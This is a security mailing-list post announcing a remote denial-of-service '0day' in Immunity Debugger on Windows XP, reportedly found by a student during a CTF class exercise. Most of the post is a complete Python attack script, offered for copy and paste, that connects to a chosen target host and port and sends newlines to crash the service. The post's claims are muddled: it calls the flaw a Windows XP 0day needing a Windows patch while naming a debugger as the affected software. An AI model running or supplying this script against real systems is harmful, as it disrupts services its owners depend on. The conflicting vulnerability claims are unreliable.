Windows XP denial of service 0day found in CTF exercise

["Adam Behnke" <adam () infosecinstitute com>]

Immunity Debugger Remote Denial of Service 0Day
Tested against version 1.76 and 1.80 on Windows XP distributions

Has not been tested for potential privilege escalation vectors.

We first wrote about Immunity Debugger here: http://news.infosecinstitute.com/general/release-immunity-debugger-v1-80/

Discovered by a student that wishes to remain anonymous in the course CTF. This 0day exploit for Windows was discovered 
by a student in the InfoSec Institute Ethical Hacking class, during an evening CTF exercise. The student wishes to 
remain anonymous, he has contributed a python version of the 0day. A patch that can be applied to Windows has not been 
made available. You can find a python version of the exploit to copy and paste here:


#!/usr/bin/python
#Windows XP denial of service 0day exploit discovered on 4.9.12 by InfoSec Institute student
#For full write up and description go to http://www.infosecinstitute.com/courses/ethical_hacking_training.html
import sys
import os
import time
import getopt
import socket

class Error(Exception):
        def __init__(self, error):
                self.errorStr=error
        
        def __str__(self):
                return repr(self.errorStr)

class Exploit():

        def __init__(self, targetHost, targetPort):
                self.targetHost = targetHost

        def exploit(self, targetHost, targetPort):

                try:
                        socket.inet_aton(targetHost)
                        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                        s.connect((targetHost,targetPort))
                except socket.error:
                        raise Error("Unable to exploit (Connect failed.)")
                        sys.exit(0)             

                # exploit
                try:
                        s.sendto("\n\n\n", (targetHost, targetPort))
                except:
                        raise Error("Unable to exploit (Exploit failed.)")
        

def usage():
        print "[!] Usage:"
        print " ( -h, --help ):"
        print "         Print this message."
        print " ( --targetHost= ): Target host."
        print "         --targetHost=127.0.0.1"
        print " ( --targetPort= ): Target port."
        print "         --targetPort=8888"

def main():
        print "[$] Windows XP 0Day"
        try:
                opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "targetHost=", "targetPort="])
        except getopt.GetoptError, err:
                # Print help information and exit:
                print '[!] Parameter error:' + str(err) # Will print something like "option -a not recognized"
                usage()
                sys.exit(0)

        targetHost=None
        targetPort=None
        
        for opt, arg in opts:
                if opt in ("-h", "--help"):
                        usage()
                        sys.exit(0)
                elif opt =="--targetHost":
                        targetHost=arg
                elif opt =="--targetPort":
                        targetPort=arg
                else:
                        # I would be assuming to say we'll never get here.
                        print "[!] Parameter error."
                        usage()
                        sys.exit(0)
        
        if not targetHost:
                print "[!] Parameter error: targetHost not set."
                usage()
                sys.exit(0)

        if not targetPort:
                print "[!] Parameter error: targetPort not set."
                usage()
                sys.exit(0)

        exploit = Exploit(targetHost, targetPort)

        print "[*] Attempting to exploit:"
        
        try:
                exploit.exploit(targetHost, int(targetPort))
        except Error as error:
                print "[!] Exploit Error: %s" % (error.errorStr)
                exit(0)
        print "[*] Exploit appears to have worked."

# Standard boilerplate to call the main() function to begin
# the program.
if __name__=='__main__':
        main()

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